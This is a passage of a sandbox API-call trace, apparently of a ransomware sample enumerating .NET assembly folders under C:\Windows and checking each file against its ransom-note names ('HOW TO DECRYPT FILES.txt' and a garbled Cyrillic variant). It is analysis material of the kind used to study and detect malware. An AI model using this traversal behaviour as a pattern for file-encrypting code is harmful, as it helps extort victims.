ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.961] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel\\*.*") returned="*.*" [0101.961] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel\\3.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfa8770e, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfa8770e, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.961] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.961] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.dll") returned -1 [0101.961] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.dll") returned -1 [0101.961] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.dll") returned -1 [0101.961] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel\\3.0.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.961] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel\\3.0.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel\\3.0.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel\\3.0.0.0__b77a5c561934e089\\" [0101.962] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel\\3.0.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel\\3.0.0.0__b77a5c561934e089\\") returned="" [0101.964] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.964] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.965] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\*.*") returned="*.*" [0101.965] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\3.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf0b5c3c, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf0b5c3c, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.966] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.966] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.Selectors.dll") returned -1 [0101.966] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.Selectors.dll") returned -1 [0101.966] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.Selectors.dll") returned -1 [0101.966] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\3.0.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.966] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\3.0.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\3.0.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\3.0.0.0__b77a5c561934e089\\" [0101.966] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\3.0.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\3.0.0.0__b77a5c561934e089\\") returned="" [0101.968] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.968] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.IO.Log\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.969] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IO.Log\\*.*") returned="*.*" [0101.970] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.IO.Log\\3.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.970] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.970] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IO.Log.dll") returned -1 [0101.970] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IO.Log.dll") returned -1 [0101.970] lstrcmpiA (lpString1="", lpString2="System.IO.Log.dll") returned -1 [0101.970] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IO.Log\\3.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.970] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.IO.Log\\3.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.IO.Log\\3.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.IO.Log\\3.0.0.0__b03f5f7f11d50a3a\\" [0101.970] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IO.Log\\3.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.IO.Log\\3.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.978] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.978] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdde012a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdde012a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.979] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\*.*") returned="*.*" [0101.979] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc0694685, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc0694685, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.979] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.979] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.dll") returned -1 [0101.979] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.dll") returned -1 [0101.979] lstrcmpiA (lpString1="", lpString2="System.Management.dll") returned -1 [0101.979] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.979] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.979] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.981] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.981] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.982] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\*.*") returned="*.*" [0101.982] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf71b768, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf71b768, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.982] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.982] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.Automation.dll") returned -1 [0101.982] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.Automation.dll") returned -1 [0101.983] lstrcmpiA (lpString1="", lpString2="System.Management.Automation.dll") returned -1 [0101.983] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.983] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\" [0101.983] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\") returned="" [0101.985] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.985] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.985] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation.Resources\\*.*") returned="*.*" [0101.985] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.986] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.986] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.Automation.Resources.dll") returned -1 [0101.986] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.Automation.Resources.dll") returned -1 [0101.986] lstrcmpiA (lpString1="", lpString2="System.Management.Automation.Resources.dll") returned -1 [0101.986] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0101.986] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation.Resources\\1.0.0.0_en_31bf3856ad364e35\\" [0101.986] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="" [0101.988] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.988] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.989] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\*.*") returned="*.*" [0101.989] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc15e7441, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc15e7441, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.989] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.989] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.Instrumentation.dll") returned -1 [0101.989] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.Instrumentation.dll") returned -1 [0101.989] lstrcmpiA (lpString1="", lpString2="System.Management.Instrumentation.dll") returned -1 [0101.989] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.990] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\3.5.0.0__b77a5c561934e089\\" [0101.990] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\3.5.0.0__b77a5c561934e089\\") returned="" [0101.992] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.992] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Messaging\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde06284, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde06284, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.993] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Messaging\\*.*") returned="*.*" [0101.993] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Messaging\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc14907de, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc14907de, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.993] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.993] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Messaging.dll") returned -1 [0101.993] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Messaging.dll") returned -1 [0101.994] lstrcmpiA (lpString1="", lpString2="System.Messaging.dll") returned -1 [0101.994] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Messaging\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.994] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Messaging\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Messaging\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Messaging\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.994] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Messaging\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Messaging\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.996] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.996] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Net\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.997] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Net\\*.*") returned="*.*" [0101.997] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Net\\3.5.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbee54638, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbee54638, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.997] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.997] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Net.dll") returned -1 [0101.997] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Net.dll") returned -1 [0101.998] lstrcmpiA (lpString1="", lpString2="System.Net.dll") returned -1 [0101.998] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Net\\3.5.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.998] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Net\\3.5.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Net\\3.5.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Net\\3.5.0.0__b03f5f7f11d50a3a\\" [0101.998] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Net\\3.5.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Net\\3.5.0.0__b03f5f7f11d50a3a\\") returned="" [0102.000] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0102.000] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde06284, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde06284, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.001] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\*.*") returned="*.*" [0102.001] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\2.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbfbde371, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbfbde371, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.001] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.001] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Remoting.dll") returned -1 [0102.001] lstrcmpiA (lpString1="HOW TO DECRYPT 